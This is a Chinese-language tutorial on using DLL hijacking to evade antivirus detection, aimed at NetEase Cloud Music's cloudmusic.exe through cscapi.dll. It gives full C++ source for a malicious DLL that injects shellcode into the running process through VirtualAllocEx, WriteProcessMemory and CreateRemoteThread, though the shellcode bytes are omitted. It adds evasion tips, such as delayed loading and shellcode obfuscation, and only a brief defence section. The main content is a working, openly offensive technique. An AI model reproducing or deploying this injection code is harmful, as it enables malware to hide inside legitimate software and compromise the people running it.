由dll劫持实现免杀
字数 1480 2025-08-23 18:31:09
DLL劫持实现免杀技术详解
一、DLL基础概念
1.1 什么是DLL
DLL(Dynamic Link Library,动态链接库)是Windows系统中的一种可执行文件格式,允许多个程序共享同一份代码,从而减少程序体积。DLL在程序运行时动态加载,而不是编译时静态链接。
1.2 DLL入口点
DLL的主入口函数是DllMain,其基本结构如下:
#include "pch.h"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
1.3 DLL加载的四种情况
- DLL_PROCESS_ATTACH:当有新进程加载该DLL时触发
- DLL_THREAD_ATTACH:当有新线程被创建时触发
- DLL_THREAD_DETACH:当有线程退出时触发
- DLL_PROCESS_DETACH:当进程卸载DLL时触发
1.4 简单DLL示例
以下是一个在DLL加载时弹出消息框的示例:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Hello World!", L"DLL Loaded", MB_OK);
break;
case DLL_PROCESS_DETACH:
MessageBox(NULL, L"DLL_PROCESS_DETACH", L"DLL Loaded", MB_OK);
break;
}
return TRUE;
}
二、DLL调用方式
2.1 显式调用
显式调用是在运行时动态加载DLL,使用Windows API的LoadLibrary函数:
#include <iostream>
#include <Windows.h>
int main()
{
// 加载DLL
HMODULE hM = LoadLibraryA("exDLL.dll");
if (hM == NULL) {
std::cerr << "Failed to load DLL." << std::endl;
return 1;
}
std::cout << "DLL Loaded successfully." << std::endl;
// 卸载DLL
FreeLibrary(hM);
return 0;
}
2.2 Windows DLL搜索顺序
Windows系统按以下顺序搜索DLL:
- 当前目录
- Windows系统目录
- 16位系统目录
- Windows目录
- 进程当前工作目录
- PATH环境变量列出的目录
2.3 不可劫持的DLL
某些DLL被Windows系统保护,可以通过以下命令查看:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SessionManager\KnownDLLs"
三、DLL劫持技术
3.1 劫持条件
- 程序调用了不存在的DLL
- 堆栈中存在
LoadLibrary函数的调用
3.2 劫持注意事项
- 避免劫持核心DLL,否则可能导致软件无法启动
- 某些DLL不会在程序启动时立即调用,可能延迟触发
- 劫持系统目录中的DLL风险较高
3.3 劫持实践案例
案例1:MDMRegistration.dll
- 在网易云音乐启动时立即被加载
- 问题:在cloudmusic.exe之前被拉起,导致主程序无法启动
案例2:cscapi.dll
- 成功劫持并注入shellcode
- 不会影响主程序启动
四、DLL注入实现免杀
4.1 完整DLL劫持代码示例
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
unsigned char shellcode[] = "\xfc\x48\x83..."; // 省略shellcode内容
// 查找目标进程ID
DWORD FindProcessId(const wchar_t* processName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(hSnapshot, &pe)) {
do {
if (wcscmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
// 注入shellcode到目标进程
int InjectShellcode()
{
const wchar_t* targetProcessName = L"cloudmusic.exe";
DWORD processId = FindProcessId(targetProcessName);
if (processId == 0) {
std::cerr << "未找到目标进程。" << std::endl;
return -1;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (hProcess == NULL) {
std::cerr << "无法打开进程。" << std::endl;
return -1;
}
// 在目标进程中分配内存
LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {
std::cerr << "内存分配失败。" << std::endl;
CloseHandle(hProcess);
return -1;
}
// 写入shellcode
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), &bytesWritten) || bytesWritten != sizeof(shellcode)) {
std::cerr << "写入进程内存失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}
// 创建远程线程执行shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "创建远程线程失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
InjectShellcode();
break;
}
return TRUE;
}
4.2 注入流程详解
- 查找目标进程:使用
CreateToolhelp32Snapshot和Process32First/Process32Next枚举进程 - 打开目标进程:使用
OpenProcess获取进程句柄 - 分配内存:使用
VirtualAllocEx在目标进程中分配可执行内存 - 写入shellcode:使用
WriteProcessMemory将shellcode写入目标进程 - 创建远程线程:使用
CreateRemoteThread执行注入的shellcode
五、免杀技巧与注意事项
- 选择合适的DLL:选择非关键DLL,避免影响程序正常运行
- 延迟加载:可以设置延迟加载,避免立即触发安全软件检测
- shellcode混淆:对shellcode进行加密或混淆处理
- 权限考虑:确保有足够的权限进行进程注入
- 错误处理:完善错误处理,避免异常行为暴露
六、防御措施
- 签名验证:验证DLL的数字签名
- 完整路径加载:使用完整路径加载DLL,避免搜索顺序劫持
- KnownDLLs保护:利用系统KnownDLLs机制保护关键DLL
- 监控DLL加载:监控进程的DLL加载行为
七、总结
DLL劫持是一种有效的免杀技术,通过利用Windows的DLL搜索机制,将恶意代码注入到合法进程中。关键在于选择合适的DLL进行劫持,并确保注入过程不会影响目标程序的正常运行。同时,防御方可以通过多种手段检测和防范此类攻击。